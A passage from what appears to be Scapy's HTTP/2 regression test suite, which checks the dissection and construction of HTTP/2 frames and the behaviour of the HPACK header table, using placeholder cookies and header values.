h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error='Protocol error') assert raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01' p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error=1) assert raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x00\x00\x01' = HTTP/2 Dissect Reset Stream Frame: Raw 123456 error ~ http2 frame dissect rststream pkt = h2.H2Frame(b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x01\xe2@') #Reset stream with raw error assert pkt.type == 3 assert pkt.len == 4 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2ResetFrame) assert pkt[h2.H2ResetFrame] rf = pkt[h2.H2ResetFrame] assert rf.error == 123456 assert isinstance(rf.payload, scapy.packet.NoPayload) = HTTP/2 Dissect Reset Stream Frame: Raw 123456 error ~ http2 frame dissect rststream p = h2.H2Frame(stream_id=1)/h2.H2ResetFrame(error=123456) assert raw(p) == b'\x00\x00\x04\x03\x00\x00\x00\x00\x01\x00\x01\xe2@' + HTTP/2 Settings Frame Test Suite = HTTP/2 Dissect Settings Frame: Settings Frame ~ http2 frame dissect settings pkt = h2.H2Frame(b'\x00\x00$\x04\x00\x00\x00\x00\x00\x00\x01\x07[\xcd\x15\x00\x02\x00\x00\x00\x01\x00\x03\x00\x00\x00{\x00\x04\x00\x12\xd6\x87\x00\x05\x00\x01\xe2@\x00\x06\x00\x00\x00{') #Settings frame assert pkt.type == 4 assert pkt.len == 36 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 0 assert isinstance(pkt.payload, h2.H2SettingsFrame) assert pkt[h2.H2SettingsFrame] sf = pkt[h2.H2SettingsFrame] assert len(sf.settings) == 6 assert isinstance(sf.settings[0], h2.H2Setting) assert sf.settings[0].id == 1 assert sf.settings[0].value == 123456789 assert isinstance(sf.settings[1], h2.H2Setting) assert sf.settings[1].id == 2 assert sf.settings[1].value == 1 assert isinstance(sf.settings[2], h2.H2Setting) assert sf.settings[2].id == 3 assert sf.settings[2].value == 123 assert isinstance(sf.settings[3], h2.H2Setting) assert sf.settings[3].id == 4 assert sf.settings[3].value == 1234567 assert isinstance(sf.settings[4], h2.H2Setting) assert sf.settings[4].id == 5 assert sf.settings[4].value == 123456 assert isinstance(sf.settings[5], h2.H2Setting) assert sf.settings[5].id == 6 assert sf.settings[5].value == 123 assert isinstance(sf.payload, scapy.packet.NoPayload) = HTTP/2 Build Settings Frame: Settings Frame ~ http2 frame build settings p = h2.H2Frame()/h2.H2SettingsFrame(settings=[ h2.H2Setting(id='Header table size',value=123456789), h2.H2Setting(id='Enable push', value=1), h2.H2Setting(id='Max concurrent streams', value=123), h2.H2Setting(id='Initial window size', value=1234567), h2.H2Setting(id='Max frame size', value=123456), h2.H2Setting(id='Max header list size', value=123) ] ) assert raw(p) == b'\x00\x00$\x04\x00\x00\x00\x00\x00\x00\x01\x07[\xcd\x15\x00\x02\x00\x00\x00\x01\x00\x03\x00\x00\x00{\x00\x04\x00\x12\xd6\x87\x00\x05\x00\x01\xe2@\x00\x06\x00\x00\x00{' = HTTP/2 Dissect Settings Frame: Incomplete Settings Frame ~ http2 frame dissect settings #We use here the decode('hex') method because null-bytes are rejected by eval() assert expect_exception(AssertionError, 'h2.H2Frame(bytes_hex("0000240400000000000001075bcd1500020000000100030000007b00040012d68700050001e2400006000000"))') = HTTP/2 Dissect Settings Frame: Settings Frame acknowledgement ~ http2 frame dissect settings pkt = h2.H2Frame(b'\x00\x00\x00\x04\x01\x00\x00\x00\x00') #Settings frame w/ ack flag assert pkt.type == 4 assert pkt.len == 0 assert len(pkt.flags) == 1 assert 'A' in pkt.flags assert pkt.reserved == 0 assert pkt.stream_id == 0 assert flags_bit_pattern.search(pkt.show(dump=True)) is None assert isinstance(pkt.payload, scapy.packet.NoPayload) = HTTP/2 Build Settings Frame: Settings Frame acknowledgement ~ http2 frame build settings p = h2.H2Frame(type=h2.H2SettingsFrame.type_id, flags={'A'}) assert raw(p) == b'\x00\x00\x00\x04\x01\x00\x00\x00\x00' + HTTP/2 Push Promise Frame Test Suite = HTTP/2 Dissect Push Promise Frame: no flag & headers with compression and hdr_name ~ http2 frame dissect pushpromise pkt = h2.H2Frame(b'\x00\x00\x15\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') assert pkt.type == 5 assert pkt.len == 21 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2PushPromiseFrame) assert pkt[h2.H2PushPromiseFrame] pf = pkt[h2.H2PushPromiseFrame] assert pf.reserved == 0 assert pf.stream_id == 3 assert len(pf.hdrs) == 1 assert isinstance(pf.payload, scapy.packet.NoPayload) hdr = pf.hdrs[0] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.type == 1 assert hdr.hdr_name.len == 12 assert hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.type == 0 assert hdr.hdr_value.len == 2 assert hdr.hdr_value.getfieldval('data').origin() == 'Me' = HTTP/2 Build Push Promise Frame: no flag & headers with compression and hdr_name ~ http2 frame build pushpromise p = h2.H2Frame(stream_id=1)/h2.H2PushPromiseFrame(stream_id=3,hdrs=[ h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')), ) ]) assert raw(p) == b'\x00\x00\x15\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me' = HTTP/2 Dissect Push Promise Frame: with padding, the flag END_Header & headers with compression and hdr_name ~ http2 frame dissect pushpromise pkt = h2.H2Frame(b'\x00\x00\x1e\x05\x0c\x00\x00\x00\x01\x08\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me\x00\x00\x00\x00\x00\x00\x00\x00') assert pkt.type == 5 assert pkt.len == 30 assert len(pkt.flags) == 2 assert 'P' in pkt.flags assert 'EH' in pkt.flags assert pkt.reserved == 0 assert pkt.stream_id == 1 assert flags_bit_pattern.search(pkt.show(dump=True)) is None assert isinstance(pkt.payload, h2.H2PaddedPushPromiseFrame) assert pkt[h2.H2PaddedPushPromiseFrame] pf = pkt[h2.H2PaddedPushPromiseFrame] assert pf.padlen == 8 assert pf.padding == b'\x00'*8 assert pf.stream_id == 3 assert len(pf.hdrs) == 1 hdr = pf.hdrs[0] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.type == 1 assert hdr.hdr_name.len == 12 assert hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.type == 0 assert hdr.hdr_value.len == 2 assert hdr.hdr_value.getfieldval('data').origin() == 'Me' = HTTP/2 Build Push Promise Frame: with padding, the flag END_Header & headers with compression and hdr_name ~ http2 frame build pushpromise p = h2.H2Frame(flags={'P', 'EH'}, stream_id=1)/h2.H2PaddedPushPromiseFrame( stream_id=3, hdrs=[ h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) ) ], padding=b'\x00'*8 ) assert raw(p) == b'\x00\x00\x1e\x05\x0c\x00\x00\x00\x01\x08\x00\x00\x00\x03@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me\x00\x00\x00\x00\x00\x00\x00\x00' + HTTP/2 Ping Frame Test Suite = HTTP/2 Dissect Ping Frame: Ping frame ~ http2 frame dissect ping pkt = h2.H2Frame(b'\x00\x00\x08\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') #Ping frame with payload assert pkt.type == 6 assert pkt.len == 8 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 0 assert isinstance(pkt.payload, h2.H2PingFrame) assert pkt[h2.H2PingFrame] pf = pkt[h2.H2PingFrame] assert pf.opaque == 123456 assert isinstance(pf.payload, scapy.packet.NoPayload) = HTTP/2 Build Ping Frame: Ping frame ~ http2 frame build ping p = h2.H2Frame()/h2.H2PingFrame(opaque=123456) assert raw(p) == b'\x00\x00\x08\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@' = HTTP/2 Dissect Ping Frame: Pong frame ~ http2 frame dissect ping pkt = h2.H2Frame(b'\x00\x00\x08\x06\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@') #Pong frame assert pkt.type == 6 assert pkt.len == 8 assert len(pkt.flags) == 1 assert 'A' in pkt.flags assert pkt.reserved == 0 assert pkt.stream_id == 0 assert isinstance(pkt.payload, h2.H2PingFrame) assert flags_bit_pattern.search(pkt.show(dump=True)) is None assert pkt[h2.H2PingFrame] pf = pkt[h2.H2PingFrame] assert pf.opaque == 123456 assert isinstance(pf.payload, scapy.packet.NoPayload) = HTTP/2 Dissect Ping Frame: Pong frame ~ http2 frame dissect ping p = h2.H2Frame(flags={'A'})/h2.H2PingFrame(opaque=123456) assert raw(p) == b'\x00\x00\x08\x06\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xe2@' + HTTP/2 Go Away Frame Test Suite = HTTP/2 Dissect Go Away Frame: No error ~ http2 frame dissect goaway pkt = h2.H2Frame(b'\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00') #Go Away for no particular reason :) assert pkt.type == 7 assert pkt.len == 8 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 0 assert isinstance(pkt.payload, h2.H2GoAwayFrame) assert pkt[h2.H2GoAwayFrame] gf = pkt[h2.H2GoAwayFrame] assert gf.reserved == 0 assert gf.last_stream_id == 1 assert gf.error == 0 assert len(gf.additional_data) == 0 assert isinstance(gf.payload, scapy.packet.NoPayload) = HTTP/2 Build Go Away Frame: No error ~ http2 frame build goaway p = h2.H2Frame()/h2.H2GoAwayFrame(last_stream_id=1, error='No error') assert raw(p) == b'\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00' = HTTP/2 Dissect Go Away Frame: Arbitrary error with additional data ~ http2 frame dissect goaway pkt = h2.H2Frame(b'\x00\x00\x10\x07\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xe2@\x00\x00\x00\x00\x00\x00\x00\x00') #Go Away with debug data assert pkt.type == 7 assert pkt.len == 16 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 0 assert isinstance(pkt.payload, h2.H2GoAwayFrame) assert pkt[h2.H2GoAwayFrame] gf = pkt[h2.H2GoAwayFrame] assert gf.reserved == 0 assert gf.last_stream_id == 2 assert gf.error == 123456 assert gf.additional_data == 8*b'\x00' assert isinstance(gf.payload, scapy.packet.NoPayload) = HTTP/2 Build Go Away Frame: Arbitrary error with additional data ~ http2 frame build goaway p = h2.H2Frame()/h2.H2GoAwayFrame( last_stream_id=2, error=123456, additional_data=b'\x00'*8 ) assert raw(p) == b'\x00\x00\x10\x07\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\xe2@\x00\x00\x00\x00\x00\x00\x00\x00' + HTTP/2 Window Update Frame Test Suite = HTTP/2 Dissect Window Update Frame: global ~ http2 frame dissect winupdate pkt = h2.H2Frame(b'\x00\x00\x04\x08\x00\x00\x00\x00\x00\x00\x01\xe2@') #Window update with increment for connection assert pkt.type == 8 assert pkt.len == 4 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 0 assert isinstance(pkt.payload, h2.H2WindowUpdateFrame) assert pkt[h2.H2WindowUpdateFrame] wf = pkt[h2.H2WindowUpdateFrame] assert wf.reserved == 0 assert wf.win_size_incr == 123456 assert isinstance(wf.payload, scapy.packet.NoPayload) = HTTP/2 Build Window Update Frame: global ~ http2 frame build winupdate p = h2.H2Frame()/h2.H2WindowUpdateFrame(win_size_incr=123456) assert raw(p) == b'\x00\x00\x04\x08\x00\x00\x00\x00\x00\x00\x01\xe2@' = HTTP/2 Dissect Window Update Frame: a stream ~ http2 frame dissect winupdate pkt = h2.H2Frame(b'\x00\x00\x04\x08\x00\x00\x00\x00\x01\x00\x01\xe2@') #Window update with increment for a stream assert pkt.type == 8 assert pkt.len == 4 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2WindowUpdateFrame) assert pkt[h2.H2WindowUpdateFrame] wf = pkt[h2.H2WindowUpdateFrame] assert wf.reserved == 0 assert wf.win_size_incr == 123456 assert isinstance(wf.payload, scapy.packet.NoPayload) = HTTP/2 Build Window Update Frame: a stream ~ http2 frame build winupdate p = h2.H2Frame(stream_id=1)/h2.H2WindowUpdateFrame(win_size_incr=123456) assert raw(p) == b'\x00\x00\x04\x08\x00\x00\x00\x00\x01\x00\x01\xe2@' + HTTP/2 Continuation Frame Test Suite = HTTP/2 Dissect Continuation Frame: no flag & headers with compression and hdr_name ~ http2 frame dissect continuation pkt = h2.H2Frame(b'\x00\x00\x11\t\x00\x00\x00\x00\x01@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') assert pkt.type == 9 assert pkt.len == 17 assert len(pkt.flags) == 0 assert pkt.reserved == 0 assert pkt.stream_id == 1 assert isinstance(pkt.payload, h2.H2ContinuationFrame) assert pkt[h2.H2ContinuationFrame] hf = pkt[h2.H2ContinuationFrame] assert len(hf.hdrs) == 1 assert isinstance(hf.payload, scapy.packet.NoPayload) hdr = hf.hdrs[0] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.type == 1 assert hdr.hdr_name.len == 12 assert hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.type == 0 assert hdr.hdr_value.len == 2 assert hdr.hdr_value.getfieldval('data').origin() == 'Me' = HTTP/2 Build Continuation Frame: no flag & headers with compression and hdr_name ~ http2 frame build continuation p = h2.H2Frame(stream_id=1)/h2.H2ContinuationFrame( hdrs=[ h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) ) ] ) assert raw(p) == b'\x00\x00\x11\t\x00\x00\x00\x00\x01@\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me' = HTTP/2 Dissect Continuation Frame: flag END_Header & headers with compression, sensitive flag and hdr_name ~ http2 frame dissect continuation pkt = h2.H2Frame(b'\x00\x00\x11\t\x04\x00\x00\x00\x01\x10\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me') assert pkt.type == 9 assert pkt.len == 17 assert len(pkt.flags) == 1 assert 'EH' in pkt.flags assert pkt.reserved == 0 assert pkt.stream_id == 1 assert flags_bit_pattern.search(pkt.show(dump=True)) is None assert isinstance(pkt.payload, h2.H2ContinuationFrame) assert pkt[h2.H2ContinuationFrame] hf = pkt[h2.H2ContinuationFrame] assert len(hf.hdrs) == 1 assert isinstance(hf.payload, scapy.packet.NoPayload) hdr = hf.hdrs[0] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 1 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.type == 1 assert hdr.hdr_name.len == 12 assert hdr.hdr_name.getfieldval('data').origin() == 'X-Requested-With' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.type == 0 assert hdr.hdr_value.len == 2 assert hdr.hdr_value.getfieldval('data').origin() == 'Me' = HTTP/2 Build Continuation Frame: flag END_Header & headers with compression, sensitive flag and hdr_name ~ http2 frame build continuation p = h2.H2Frame(flags={'EH'}, stream_id=1)/h2.H2ContinuationFrame( hdrs=[ h2.HPackLitHdrFldWithoutIndexing( never_index=1, hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Requested-With')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) ) ] ) assert raw(p) == b'\x00\x00\x11\t\x04\x00\x00\x00\x01\x10\x8c\xfc[i{ZT$\xb2-\xc8\xc9\x9f\x02Me' + HTTP/2 HPackHdrTable Test Suite = HTTP/2 HPackHdrEntry Tests ~ http2 hpack hpackhdrtable n = 'X-Requested-With' v = 'Me' h = h2.HPackHdrEntry(n, v) assert len(h) == 32 + len(n) + len(v) assert h.name() == n.lower() assert h.value() == v assert str(h) == '{}: {}'.format(n.lower(), v) n = ':status' v = '200' h = h2.HPackHdrEntry(n, v) assert len(h) == 32 + len(n) + len(v) assert h.name() == n.lower() assert h.value() == v assert str(h) == '{} {}'.format(n.lower(), v) = HTTP/2 HPackHdrTable : Querying Static Entries ~ http2 hpack hpackhdrtable # In RFC7541, the table is 1-based assert expect_exception(KeyError, 'h2.HPackHdrTable()[0]') h = h2.HPackHdrTable() assert h[1].name() == ':authority' assert h[7].name() == ':scheme' assert h[7].value() == 'https' assert str(h[14]) == ':status 500' assert str(h[16]) == 'accept-encoding: gzip, deflate' assert expect_exception(KeyError, 'h2.HPackHdrTable()[h2.HPackHdrTable._static_entries_last_idx+1]') = HTTP/2 HPackHdrTable : Adding Dynamic Entries without overflowing the table ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString('PHPSESSID=abcdef0123456789')) ) tbl.register(hdr) tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString('JSESSID=abcdef0123456789')) ) tbl.register([hdr,hdr2]) tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) hdr3 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString('Test=abcdef0123456789')) ) frm = h2.H2Frame(stream_id=1)/h2.H2HeadersFrame(hdrs=[hdr, hdr2, hdr3]) tbl.register(frm) = HTTP/2 HPackHdrTable : Querying Dynamic Entries ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) hdrv = 'PHPSESSID=abcdef0123456789' hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) ) tbl.register(hdr) hdrv2 = 'JSESSID=abcdef0123456789' hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) ) tbl.register(hdr2) hdr3 = h2.HPackLitHdrFldWithIncrIndexing( index=0, hdr_name=h2.HPackHdrString(data=h2.HPackLiteralString('x-requested-by')), hdr_value=h2.HPackHdrString(data=h2.HPackZString('me')) ) tbl.register(hdr3) assert tbl.get_idx_by_name('x-requested-by') == h2.HPackHdrTable._static_entries_last_idx+1 assert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv2 assert tbl[h2.HPackHdrTable._static_entries_last_idx+3].value() == hdrv = HTTP/2 HPackHdrTable : Adding already registered Dynamic Entries without overflowing the table ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable(dynamic_table_max_size=1<<32, dynamic_table_cap_size=1<<32) assert len(tbl) == 0 hdrv = 'PHPSESSID=abcdef0123456789' hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) ) tbl.register(hdr) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv hdr2v = 'JSESSID=abcdef0123456789' hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdr2v)) ) tbl.register(hdr2) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdr2v l = len(tbl) tbl.register(hdr) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv assert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdr2v assert tbl[h2.HPackHdrTable._static_entries_last_idx+3].value() == hdrv = HTTP/2 HPackHdrTable : Adding Dynamic Entries and overflowing the table ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable(dynamic_table_max_size=80, dynamic_table_cap_size=80) hdrv = 'PHPSESSID=abcdef0123456789' hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) ) tbl.register(hdr) assert len(tbl) <= 80 assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv hdrv2 = 'JSESSID=abcdef0123456789' hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) ) tbl.register(hdr2) assert len(tbl) <= 80 assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2 try: tbl[h2.HPackHdrTable._static_entries_last_idx+2] ret = False except Exception: ret = True assert ret = HTTP/2 HPackHdrTable : Resizing ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable() hdrv = 'PHPSESSID=abcdef0123456789' hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) ) tbl.register(hdr) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv hdrv2 = 'JSESSID=abcdef0123456789' hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) ) tbl.register(hdr2) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2 assert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv #Resizing to a value higher than cap (default:4096) try: tbl.resize(8192) ret = False except AssertionError: ret = True assert ret #Resizing to a lower value by that is not small enough to cause eviction tbl.resize(1024) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2 assert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv #Resizing to a higher value but thatt is lower than cap tbl.resize(2048) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2 assert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv #Resizing to a lower value that causes eviction tbl.resize(80) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2 try: tbl[h2.HPackHdrTable._static_entries_last_idx+2] ret = False except Exception: ret = True assert ret = HTTP/2 HPackHdrTable : Recapping ~ http2 hpack hpackhdrtable tbl = h2.HPackHdrTable() hdrv = 'PHPSESSID=abcdef0123456789' hdr = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv)) ) tbl.register(hdr) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv hdrv2 = 'JSESSID=abcdef0123456789' hdr2 = h2.HPackLitHdrFldWithIncrIndexing( index=32, hdr_value=h2.HPackHdrString(data=h2.HPackZString(hdrv2)) ) tbl.register(hdr2) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2 assert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv #Recapping to a higher value tbl.recap(8192) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2 assert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv #Recapping to a low value but without causing eviction tbl.recap(1024) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2 assert tbl[h2.HPackHdrTable._static_entries_last_idx+2].value() == hdrv #Recapping to a low value that causes evictiontbl.recap(1024) tbl.recap(80) assert tbl[h2.HPackHdrTable._static_entries_last_idx+1].value() == hdrv2 try: tbl[h2.HPackHdrTable._static_entries_last_idx+2] ret = False except Exception: ret = True assert ret = HTTP/2 HPackHdrTable : Generating Textual Representation ~ http2 hpack hpackhdrtable helpers h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) hdrs_lst = [ h2.HPackIndexedHdr(index=2), #Method Get h2.HPackLitHdrFldWithIncrIndexing( index=h.get_idx_by_name(':path'), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('/index.php')) ), h2.HPackIndexedHdr(index=7), #Scheme HTTPS h2.HPackIndexedHdr(index=h2.HPackHdrTable._static_entries_last_idx+2), h2.HPackLitHdrFldWithIncrIndexing( index=58, hdr_value=h2.HPackHdrString(data=h2.HPackZString('Mozilla/5.0 Generated by hand')) ), h2.HPackLitHdrFldWithoutIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generated-By')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('Me')) ) ] p = h2.H2Frame(stream_id = 1)/h2.H2HeadersFrame(hdrs=hdrs_lst) expected_output = ''':method GET :path /index.php :scheme https x-generation-date: 2016-08-11 user-agent: Mozilla/5.0 Generated by hand X-Generated-By: Me''' assert h.gen_txt_repr(p) == expected_output = HTTP/2 HPackHdrTable : Parsing Textual Representation ~ http2 hpack hpackhdrtable helpers body = b'login=titi&passwd=toto' hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 x-generation-software: scapy '''.format(len(body)) h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) seq = h.parse_txt_hdrs( hdrs, stream_id=1, body=body, should_index=lambda name: name in ['user-agent', 'x-generation-software'], is_sensitive=lambda name, value: name in ['x-generated-by', ':path'] ) assert isinstance(seq, h2.H2Seq) assert len(seq.frames) == 2 p = seq.frames[0] assert isinstance(p, h2.H2Frame) assert p.type == 1 assert len(p.flags) == 1 assert 'EH' in p.flags assert p.stream_id == 1 assert isinstance(p.payload, h2.H2HeadersFrame) hdrs_frm = p[h2.H2HeadersFrame] assert len(p.hdrs) == 9 hdr = p.hdrs[0] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 3 hdr = p.hdrs[1] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 1 assert hdr.index in [4, 5] assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(/login.php)' hdr = p.hdrs[2] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 7 hdr = p.hdrs[3] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 31 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)' hdr = p.hdrs[4] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 0 assert hdr.index == 28 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(22)' hdr = p.hdrs[5] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index == 58 assert hdr.hdr_name is None assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)' hdr = p.hdrs[6] assert isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing) assert hdr.magic == 0 assert hdr.never_index == 1 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-generated-by)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackLiteralString(Me)' hdr = p.hdrs[7] assert isinstance(hdr, h2.HPackIndexedHdr) assert hdr.magic == 1 assert hdr.index == 63 hdr = p.hdrs[8] assert isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing) assert hdr.magic == 1 assert hdr.index == 0 assert isinstance(hdr.hdr_name, h2.HPackHdrString) assert hdr.hdr_name.data == 'HPackZString(x-generation-software)' assert isinstance(hdr.hdr_value, h2.HPackHdrString) assert hdr.hdr_value.data == 'HPackZString(scapy)' p = seq.frames[1] assert isinstance(p, h2.H2Frame) assert p.type == 0 assert len(p.flags) == 1 assert 'ES' in p.flags assert 